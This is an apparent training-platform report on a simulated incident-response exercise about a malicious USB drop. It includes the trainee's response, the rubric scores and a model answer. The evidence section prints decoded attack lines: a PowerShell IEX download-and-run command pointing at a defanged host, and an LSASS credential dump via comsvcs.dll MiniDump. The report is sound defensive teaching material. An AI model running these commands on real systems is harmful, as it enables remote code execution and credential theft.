Attempt report

Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch

CybersecuritySuspicious USB DeviceDifficulty · Easy

Attempt 1 of 1 · cmr2yk2jn003i0kx93nfotcw1

← All attempts ↻ Retry this scenario New scenario

Progress vs previous attempt

This is your first attempt for this scenario. Retry the scenario to generate a side-by-side comparison against your previous response.

Progression · Keep practicing

Stay on Easy · Cybersecurity

3 signals are blocking advancement to Medium. Keep practicing at Easy until those areas stabilize. (Track: Cybersecurity)

Track · Cybersecurity

Easy

Sample · 5 recent attempts2 positive3 blocking

Signals helping

Dangerous action frequency. None in recent attempts
Rubric category coverage. 67% average (need ≥ 55%)

Signals blocking advancement

Recent average score. 65 / 100 (need ≥ 75)
Recent pass rate. 1 of 5 passed (need ≥ 66%)
Recent retry improvement trend. Score is regressing (-11.5 pts on later attempts)

Submission · what was sent and how you responded

Suspicious USB DeviceDifficulty · easyMedium asset

[EDR] Suspicious LNK + powershell.exe -enc on RECEPT-WS-01

From: EDR Alerts <edr-alerts@acme-corp.local>
To: soc@acme-corp.com
Date: 2026-04-19 16:08 UTC

Automated alert from (rule USB-LNK-EXEC-02). Workstation RECEPT-WS-01 (reception desk, ground floor) executed a Windows shortcut (.lnk) from a removable USB drive at 16:03:17 UTC. The shortcut launched powershell.exe with an encoded command. Process tree: explorer.exe → powershell.exe -nop -w hidden -enc <base64> The reception staff member tells us she found a USB stick in the lobby labeled "Q2 Bonus — do not open" earlier today and plugged it in to "see who it belonged to." She has not used the workstation for any other task since. Please respond. — EDR / Endpoint Security

Evidence

EDR detection + USB enumeration (RECEPT-WS-01)

# Removable media event
Device:        USB Mass Storage  VID_0951&PID_1666 (Kingston)
Volume label:  Q2_BONUS
First seen:    2026-04-19 16:01:42 UTC on RECEPT-WS-01
Files:         Q2_Bonus_List.lnk, .hidden\stage1.ps1, README.txt

# LNK target (resolved)
target: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe
args:   -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB...   (base64, decodes to IEX downloader)

# Decoded stage1 (preview)
$u = "https://cdn-doc-share[.]xyz/q2/s.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
# also attempts: rundll32 comsvcs.dll MiniDump <lsass pid> %TEMP%\l.dmp full

# Network activity from RECEPT-WS-01 (last 30 min)
16:03:18  TLS  RECEPT-WS-01 → cdn-doc-share[.]xyz:443
16:03:19  EDR blocked outbound to cdn-doc-share[.]xyz (low-rep, 8d-old domain)

# AV / VirusTotal lookup on stage1.ps1
SHA256 a14f..be07  →  41/72 (PowerShell.Downloader.*)

Affected asset

Name: RECEPT-WS-01
Type: Reception desk Windows workstation (shared, no privileged data stored locally)
Owner: Office Operations
Level: Medium

Your submitted response

244 words

Hi Endpoint Security Team,

Acknowledged. Please treat this as a confirmed suspicious USB-based execution event with potential credential theft activity due to the attempted LSASS dump.

Please proceed with the following actions:

Containment

Please isolate RECEPT-WS-01 via EDR immediately. Do not power off or reimage the host until IR confirms evidence collection is complete.

Please also secure the USB device labeled Q2_BONUS and preserve it as evidence. It should not be connected to any other corporate workstation.

Blocking

Please block the following indicators across EDR, DNS, proxy, and firewall controls:

cdn-doc-share[.]xyz
https://cdn-doc-share[.]xyz/q2/s.ps1
SHA256: a14f..be07
Q2_Bonus_List.lnk
.hidden\stage1.ps1

Investigation

Please pull the full EDR telemetry for RECEPT-WS-01 from 16:00–16:15 UTC, including process tree, command line, network connections, file writes, and PowerShell activity.

Specific items to confirm:

Whether the second-stage script from cdn-doc-share[.]xyz executed or was fully blocked
Whether %TEMP%\l.dmp was created
Whether rundll32 comsvcs.dll MiniDump completed successfully
Logged-in user at the time of execution
Any child processes or persistence mechanisms created after the PowerShell launch

Credential Risk

Since LSASS dumping was attempted, please coordinate with IAM to reset the logged-in user’s password and review authentication activity after 16:03 UTC for any abnormal logins or lateral movement.

Threat Hunt

Please run an enterprise-wide hunt for:

powershell.exe -nop -w hidden -enc
comsvcs.dll MiniDump
%TEMP%\l.dmp
cdn-doc-share[.]xyz
USB volume label Q2_BONUS
USB VID/PID VID_0951&PID_1666

Please provide an update once containment is complete and initial telemetry confirms whether payload execution was blocked or partially successful.

Thanks,
SOC / Incident Response Team

Final score

55/ 100

244 words submitted

Verdict · Borderline

Reasonable start, but the response misses important incident response steps. Score: 55/100. Strongest area: Clarity & structure (100%). Weakest area: (20%) — expand this next time.

Category breakdown

Where points came from

coverage × weight = points

Attack understanding3/4 · 11.3 / 15
Asset impact3/3 · 10.0 / 10
Prioritization1/2 · 5.0 / 10
1/5 · 4.0 / 20
Investigation3/5 · 9.0 / 15
Recovery1/3 · 3.3 / 10
Evidence preservation1/4 · 2.5 / 10
Clarity & structure2/2 · 10.0 / 10

Strengths

Attack understanding
Asset impact
Clarity & structure

Missing / weak

Recovery
Evidence preservation

Dangerous actions detected

None detected in your response.

Learning · Coaching

Learn from this attempt

Post-submission coaching for this scenario. Score and verdict are unchanged — these notes are for your next attempt.

Why points were deducted

Containment20% coverage
Isolate the host, block cdn-doc-share[.]xyz at , kill the process chain, and physically secure the USB; partial leaves either domain or network exposure open.
Evidence preservation25% coverage
Bag-and-tag the USB, capture forensic images and SHA256 hashes, RAM / telemetry, and preserve the original LNK and stage1 artifacts before any cleanup.
Recovery33% coverage
Reimage the host and rotate cached credentials; tighten removable-media policy at the org level so the next lobby drop fails closed.

Model answer outline

From: Incident Response Lead (SOC on-call)To: IT Leadership · Affected Asset Owner · On-call SOCSubject: [SEV-3][INC-CYB-EA84C] Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch — status update

Incident · INC-CYB-EA84C · SEV-3 / P3Status · Investigating — containment in progressCybersecurity · Suspicious USB Device · EasyRECEPT-WS-01 · Medium criticalityDetected ~ 2026-04-19 16:08 UTC

Situation & summary

An attacker dropped a USB labeled `Q2 Bonus — do not open` in the lobby; reception plugged it into RECEPT-WS-01 to find the owner. The .lnk launched `powershell.exe -nop -w hidden -enc` (decoded: `IEX (New-Object Net.WebClient).DownloadString` from cdn-doc-share[.]xyz, plus a `comsvcs.dll MiniDump` LSASS attempt). EDR blocked the outbound but the downloader stage executed locally — treat the host as compromised.

Severity & priority

Rated SEV-3 / P3. Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.

Prioritization & impact

Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.
Reception is a shared workstation in the public lobby — assume blast radius beyond the receptionist's own session.
Loop in EDR / Endpoint Security and the SOC lead before any user-facing cleanup begins.

Containment (actions taken / in progress)

Network-isolate RECEPT-WS-01 via EDR (or pull the cable) so any retried egress fails closed.
Block cdn-doc-share[.]xyz and the resolved IP at proxy / DNS / firewall before unisolating any other host.
Disable the local user account (cached creds may already be compromised), kill the powershell / rundll32 chain, and unplug + bag the USB.

Investigation (in progress)

Image the USB (Q2_BONUS volume) and decode all three files (.lnk, .hidden\stage1.ps1, README.txt) before anyone touches the drive again.
Pull EDR process tree, PowerShell Operational / 4104 / 4688 events, and the full base64 -enc payload for the SOC record.
Check whether the LSASS minidump (`comsvcs.dll MiniDump`) actually wrote `%TEMP%\l.dmp` — if so, treat domain-cached credentials as exposed.
Hunt across the fleet: the same USB VID/PID, the same SHA256, or any traffic to cdn-doc-share[.]xyz.

Recovery & next steps

Reimage RECEPT-WS-01 from a clean image — do not just `clean` the executed downloader.
Reset the receptionist's password and any cached domain account that was active on the host.
Tighten device-control policy (Intune / GPO) so removable storage is read-only or blocked at user-edge endpoints by default.

Evidence preservation

Bag-and-tag the USB stick (physical evidence, intact) and capture the full forensic image plus SHA256 of every artifact.
Snapshot RAM / volatile state on RECEPT-WS-01 before reimage; preserve EDR telemetry and PowerShell transcripts.
Record VirusTotal lookups (41/72 on stage1.ps1), and keep the original lobby USB photograph + label as part of the case file.

Stakeholder communication

Brief the receptionist factually and reassuringly — she did the right thing by reporting; the goal is not blame.
Notify Office Operations and the building security team (a physical adversary may have walked the lobby).
Send a short org-wide note re-iterating the `do not plug in unknown USB` policy without naming the user.

Do NOT

Do not plug the USB into another machine to `see what it does`.
Do not format / wipe the USB before imaging — you destroy evidence.
Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
Do not just reimage and move on without checking whether the LSASS minidump succeeded.

Dangerous actions to avoid

Do not plug the USB into another machine to `see what it does`.
Do not format / wipe the USB before imaging — you destroy evidence.
Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
Do not just reimage and move on without checking whether the LSASS minidump succeeded.

How to improve next time

blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.
Always image the USB before plugging it in elsewhere; no `let me just try it on a sandbox laptop` shortcuts.
Decode the base64 -enc payload — never reason from `it was hidden so probably bad`; show the receiver the actual IEX downloader and the LSASS minidump call.
If the chain attempted LSASS dumping, treat any cached domain credentials on the host as exposed and rotate accordingly.
Tie the fix back to device-control policy: a single user-edge GPO / Intune change can convert this from a recurring lobby attack into a non-event.

AI · Supplemental review

Request an AI review of this attempt

This AI review is supplemental coaching. It does not change your official score or verdict. The review is only kept for this page session and is not saved permanently.

Review languageEnglishKorean

AI Tutor · Explains your result

AI Tutor

This tutor explains your result. It does not change your score. Pick a question to see how the deterministic grading reached your verdict and where to focus next.

Generated deterministically from your graded result — no AI model was called.

Why did I get this score?

Your verdict was Borderline at 55/100. That total is the sum of deterministic rubric points across 8 categories — each scores how much of its expected, ordered steps your answer covered, not an opinion about your writing. Your strongest coverage was Asset impact (100%). Points were held back mostly in Containment (20%), Evidence preservation (25%), Recovery (33%).

Rubric focuscontainmentevidencePreservationrecovery

Next study step

Re-read the containment expectations for this scenario and list the concrete steps you missed.